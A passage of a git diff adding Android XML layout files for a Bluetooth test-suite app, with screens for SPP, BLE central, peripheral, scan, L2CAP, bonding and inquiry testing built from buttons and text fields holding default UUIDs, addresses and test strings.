app:layout_constraintStart_toStartOf="@+id/button_spp" + app:layout_constraintTop_toBottomOf="@+id/button_spp" /> + + <Button + android:id="@+id/button_ble_peripheral" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBlePeripheralActivity" + android:text="@string/ble_peripheral" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_bredr_l2cap" + app:layout_constraintStart_toStartOf="@+id/button_bredr_l2cap" + app:layout_constraintTop_toBottomOf="@+id/button_bredr_l2cap" /> + + <Button + android:id="@+id/button_ble_central" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBleCentralActivity" + android:text="@string/ble_central" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_ble_peripheral" + app:layout_constraintStart_toStartOf="@+id/button_ble_peripheral" + app:layout_constraintTop_toBottomOf="@+id/button_ble_peripheral" /> + + <Button + android:id="@+id/button_ble_l2cap" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBleL2capActivity" + android:text="@string/ble_l2cap" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_ble_central" + app:layout_constraintStart_toStartOf="@+id/button_ble_central" + app:layout_constraintTop_toBottomOf="@+id/button_ble_central" /> + + </androidx.constraintlayout.widget.ConstraintLayout> + +</ScrollView> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout-watch/activity_on_off.xml b/tools/test_suite/android/app/src/main/res/layout-watch/activity_on_off.xml new file mode 100644 index 0000000000000000000000000000000000000000..630d826fe266462330ba54acba4949b58f830077 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout-watch/activity_on_off.xml @@ -0,0 +1,76 @@ +<?xml version="1.0" encoding="utf-8"?> +<ScrollView xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/on_off" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".LocalAdapter.OnOffActivity"> + + <androidx.constraintlayout.widget.ConstraintLayout + android:layout_width="match_parent" + android:layout_height="wrap_content"> + + <Button + android:id="@+id/button_enable_bluetooth" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="16dp" + android:text="@string/enable" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_disable_bluetooth" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="16dp" + android:text="@string/disable" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_enable_bluetooth" /> + + <EditText + android:id="@+id/textNumOfCycles" + android:layout_width="89dp" + android:layout_height="41dp" + android:layout_marginTop="16dp" + android:ems="10" + android:inputType="number" + android:textAlignment="center" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_disable_bluetooth" /> + + <TextView + android:id="@+id/textView" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="cycles" + app:layout_constraintBottom_toBottomOf="@+id/textNumOfCycles" + app:layout_constraintStart_toEndOf="@+id/textNumOfCycles" + app:layout_constraintTop_toTopOf="@+id/textNumOfCycles" /> + + <EditText + android:id="@+id/textResultDisplay" + android:layout_width="388dp" + android:layout_height="227dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="8sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/textNumOfCycles" /> + + </androidx.constraintlayout.widget.ConstraintLayout> + +</ScrollView> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout-watch/activity_spp.xml b/tools/test_suite/android/app/src/main/res/layout-watch/activity_spp.xml new file mode 100644 index 0000000000000000000000000000000000000000..41ab4c71501fc6c77cfad3fbe82ee29c486740de --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout-watch/activity_spp.xml @@ -0,0 +1,295 @@ +<?xml version="1.0" encoding="utf-8"?> +<ScrollView xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/spp" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + tools:context=".bredr.SppActivity" + tools:layout_editor_absoluteX="0dp" + tools:layout_editor_absoluteY="42dp"> + + <androidx.constraintlayout.widget.ConstraintLayout + android:layout_width="match_parent" + android:layout_height="match_parent"> + + <EditText + android:id="@+id/text_service_uuid_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:ems="10" + android:inputType="text" + android:text="0000ABCD-0000-1000-8000-00805F9B34FB" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_spp_server_register_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Register 1" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_server_unregister_1" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <Button + android:id="@+id/button_spp_server_register_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="1dp" + android:text="Register 2" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_server_unregister_2" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_2" /> + + <EditText + android:id="@+id/text_service_uuid_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:ems="10" + android:inputType="text" + android:text="0000DCBA-0000-1000-8000-00805F9B34FB" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_unregister_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toTopOf="@+id/button_spp_server_register_2" /> + + <View + android:id="@+id/divider" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="8dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_send_1" /> + + <Button + android:id="@+id/button_spp_client_connect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 2" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_disconnect_2" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_2" /> + + <Button + android:id="@+id/button_spp_disconnect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Disconnect 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_2" + app:layout_constraintTop_toTopOf="@+id/button_spp_client_connect_2" /> + + <Button + android:id="@+id/button_spp_disconnect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Disconnect 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_1" + app:layout_constraintTop_toTopOf="@+id/button_spp_client_connect_1" /> + + <EditText + android:id="@+id/text_data_to_send_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_2" /> + + <EditText + android:id="@+id/text_cycles_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="1dp" + android:ems="10" + android:inputType="text" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_data_to_send_2" /> + + <TextView + android:id="@+id/textView7" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="12dp" + android:text="cycles" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/text_cycles_2" + app:layout_constraintTop_toBottomOf="@+id/text_data_to_send_2" /> + + <Button + android:id="@+id/button_spp_send_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 2" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_cycles_2" /> + + <EditText + android:id="@+id/text_bd_addr_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="20:3B:34:C7:BD:30" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_register_2" /> + + <Button + android:id="@+id/button_spp_server_unregister_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toTopOf="@+id/button_spp_server_register_1" /> + + <View + android:id="@+id/divider2" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="8dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_send_2" /> + + <EditText + android:id="@+id/text_data_to_send_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_1" /> + + <EditText + android:id="@+id/text_cycles_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_data_to_send_1" /> + + <TextView + android:id="@+id/textView6" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="6dp" + android:layout_marginTop="19dp" + android:text="cycles" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/text_cycles_1" + app:layout_constraintTop_toBottomOf="@+id/text_data_to_send_1" /> + + <Button + android:id="@+id/button_spp_send_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 1" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.498" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_cycles_1" /> + + <EditText + android:id="@+id/text_data_to_display" + android:layout_width="wrap_content" + android:layout_height="100dp" + android:layout_marginTop="8dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider2" /> + + <EditText + android:id="@+id/text_bd_addr_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="20:3B:34:C7:BD:30" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_register_1" /> + + <Button + android:id="@+id/button_spp_client_connect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 1" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_disconnect_1" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_1" /> + + </androidx.constraintlayout.widget.ConstraintLayout> + +</ScrollView> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_ble_central.xml b/tools/test_suite/android/app/src/main/res/layout/activity_ble_central.xml new file mode 100755 index 0000000000000000000000000000000000000000..d3b909859280f722ffa040d4c232f69f538e12da --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_ble_central.xml @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:orientation="vertical"> + + <LinearLayout + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:gravity="center_vertical" + android:orientation="horizontal"> + + <TextView + android:id="@+id/tv_connect_state" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_weight="1" + android:padding="10dp" + android:text="Connecting" + android:textSize="16sp"/> + + <Button + android:id="@+id/btn_connect" + android:layout_width="150dp" + android:layout_height="wrap_content" + android:text="CONNECT" + android:textColor="@color/text_black"/> + </LinearLayout> + + <androidx.recyclerview.widget.RecyclerView + android:id="@+id/recyclerView" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:listitem="@layout/item_gatt_service"/> + +</LinearLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_ble_l2cap.xml b/tools/test_suite/android/app/src/main/res/layout/activity_ble_l2cap.xml new file mode 100644 index 0000000000000000000000000000000000000000..47ff94faee3f570556f278575372dfcb928ab4ba --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_ble_l2cap.xml @@ -0,0 +1,240 @@ +<?xml version="1.0" encoding="utf-8"?> +<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/ble_l2cap" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".ble.BleL2capActivity" + tools:layout_editor_absoluteX="0dp" + tools:layout_editor_absoluteY="42dp"> + + <EditText + android:id="@+id/text_service_uuid_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:layout_marginTop="11dp" + android:ems="10" + android:inputType="text" + android:text="0" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_spp_server_register_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="8dp" + android:layout_marginTop="8dp" + android:text="Register 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <EditText + android:id="@+id/text_service_uuid_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:layout_marginTop="11dp" + android:ems="10" + android:inputType="text" + android:text="0" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_register_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="8dp" + android:layout_marginTop="8dp" + android:text="Register 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_unregister_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/button_spp_disconnect_1" + app:layout_constraintTop_toBottomOf="@+id/button_spp_disconnect_1" /> + + <Button + android:id="@+id/button_spp_server_unregister_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/button_spp_disconnect_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_disconnect_2" /> + + <View + android:id="@+id/divider" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="16dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_unregister_1" /> + + <Button + android:id="@+id/button_spp_client_connect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <Button + android:id="@+id/button_spp_client_connect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_register_2" /> + + <Button + android:id="@+id/button_spp_disconnect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginEnd="24dp" + android:text="Disconnect 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_2" /> + + <Button + android:id="@+id/button_spp_disconnect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginEnd="24dp" + android:text="Disconnect 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <Button + android:id="@+id/button_spp_send_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_client_connect_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_2" /> + + <Button + android:id="@+id/button_spp_send_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_client_connect_1" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_1" /> + + <View + android:id="@+id/divider2" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="16dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_unregister_2" /> + + <EditText + android:id="@+id/text_data_to_send_1" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="4dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_bd_addr_1" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_1" /> + + <EditText + android:id="@+id/text_data_to_send_2" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="4dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_bd_addr_2" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_2" /> + + <EditText + android:id="@+id/text_data_to_display" + android:layout_width="0dp" + android:layout_height="0dp" + android:layout_marginTop="8dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider2" /> + + <EditText + android:id="@+id/text_bd_addr_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="6dp" + android:ems="10" + android:inputType="text" + android:text="7C:A4:49:11:BD:27" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_1" + app:layout_constraintStart_toStartOf="@+id/text_service_uuid_1" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <EditText + android:id="@+id/text_bd_addr_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="6dp" + android:ems="10" + android:inputType="text" + android:text="41:EF:F1:96:67:44" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_2" + app:layout_constraintStart_toStartOf="@+id/text_service_uuid_2" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_2" /> + + <TextView + android:id="@+id/textView2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:text="PSM" + app:layout_constraintStart_toEndOf="@+id/text_service_uuid_1" + app:layout_constraintTop_toTopOf="parent" /> + + <TextView + android:id="@+id/textView3" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="18dp" + android:text="PSM" + app:layout_constraintStart_toEndOf="@+id/text_service_uuid_2" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + +</androidx.constraintlayout.widget.ConstraintLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_ble_peripheral.xml b/tools/test_suite/android/app/src/main/res/layout/activity_ble_peripheral.xml new file mode 100755 index 0000000000000000000000000000000000000000..19322fc45b7627e2b9789527520a108b98153bbb --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_ble_peripheral.xml @@ -0,0 +1,46 @@ +<?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:orientation="vertical"> + + <TextView + android:id="@+id/tv_display_name" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:padding="10dp" + android:text="Display Name" + android:textColor="@color/text_black" + android:textSize="16sp"/> + + <EditText + android:id="@+id/et_adv_name" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:hint="open-vela"/> + + <LinearLayout + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:gravity="center_vertical" + android:orientation="horizontal"> + + <TextView + android:id="@+id/tv_adv_state" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_weight="1" + android:padding="10dp" + android:text="Advertise Stopped" + android:textSize="16sp"/> + + <Button + android:id="@+id/btn_adv" + android:layout_width="150dp" + android:layout_height="wrap_content" + android:text="START ADVERTISE" + android:textColor="@color/text_black"/> + </LinearLayout> + +</LinearLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_ble_scan.xml b/tools/test_suite/android/app/src/main/res/layout/activity_ble_scan.xml new file mode 100755 index 0000000000000000000000000000000000000000..70f711b473b21e43715ee2ae739ce0e00f745a2c --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_ble_scan.xml @@ -0,0 +1,43 @@ +<?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:orientation="vertical"> + + <LinearLayout + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:gravity="center_vertical" + android:orientation="horizontal"> + + <TextView + android:id="@+id/tv_scan_state" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_weight="1" + android:padding="10dp" + android:text="Scan Stopped" + android:textSize="16sp"/> + + <Button + android:id="@+id/btn_scan" + android:layout_width="150dp" + android:layout_height="wrap_content" + android:text="START SCAN" + android:textColor="@color/text_black"/> + </LinearLayout> + + <EditText + android:id="@+id/et_filter" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:hint="Filter by name or address"/> + + <androidx.recyclerview.widget.RecyclerView + android:id="@+id/recyclerView" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:listitem="@layout/item_scan_result"/> + +</LinearLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_bond.xml b/tools/test_suite/android/app/src/main/res/layout/activity_bond.xml new file mode 100644 index 0000000000000000000000000000000000000000..49c245fe7e9d786492756c132f234d3f5e91e551 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_bond.xml @@ -0,0 +1,93 @@ +<?xml version="1.0" encoding="utf-8"?> +<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/bond" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".bredr.BondActivity"> + + <Button + android:id="@+id/button_create_bond" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="16dp" + android:layout_marginTop="15dp" + android:text="Bond" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_remove_bond" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="12dp" + android:text="Unbond" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_create_bond" + app:layout_constraintTop_toBottomOf="@+id/button_create_bond" /> + + <TextView + android:id="@+id/textView" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:text="cycles" + app:layout_constraintBottom_toBottomOf="@+id/textNumOfCycles" + app:layout_constraintStart_toEndOf="@+id/textNumOfCycles" + app:layout_constraintTop_toTopOf="@+id/textNumOfCycles" /> + + <EditText + android:id="@+id/textNumOfCycles" + android:layout_width="89dp" + android:layout_height="41dp" + android:ems="10" + android:inputType="number" + android:textAlignment="center" + app:layout_constraintBottom_toBottomOf="@+id/button_remove_bond" + app:layout_constraintStart_toStartOf="@+id/textBdAddr" + app:layout_constraintTop_toTopOf="@+id/button_remove_bond" /> + + <EditText + android:id="@+id/textResultDisplay" + android:layout_width="0dp" + android:layout_height="0dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.466" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/textPairedDevices" /> + + <EditText + android:id="@+id/textBdAddr" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="18dp" + android:ems="10" + android:inputType="text" + android:text="78:5E:A2:29:43:0D" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="@+id/button_create_bond" + app:layout_constraintStart_toEndOf="@+id/button_create_bond" + app:layout_constraintTop_toTopOf="@+id/button_create_bond" /> + + <EditText + android:id="@+id/textPairedDevices" + android:layout_width="412dp" + android:layout_height="191dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toTopOf="@+id/textResultDisplay" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/textNumOfCycles" /> + +</androidx.constraintlayout.widget.ConstraintLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_bredr_inquiry.xml b/tools/test_suite/android/app/src/main/res/layout/activity_bredr_inquiry.xml new file mode 100755 index 0000000000000000000000000000000000000000..684149ed5c6498fdc732ec7426c2e4c9d9a0bf36 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_bredr_inquiry.xml @@ -0,0 +1,43 @@ +<?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:orientation="vertical"> + + <LinearLayout + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:gravity="center_vertical" + android:orientation="horizontal"> + + <TextView + android:id="@+id/tv_inquiry_state" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_weight="1" + android:padding="10dp" + android:text="Inquiry Stopped" + android:textSize="16sp"/> + + <Button + android:id="@+id/btn_inquiry" + android:layout_width="150dp" + android:layout_height="wrap_content" + android:text="START INQUIRY" + android:textColor="@color/text_black"/> + </LinearLayout> + + <EditText + android:id="@+id/et_filter" + 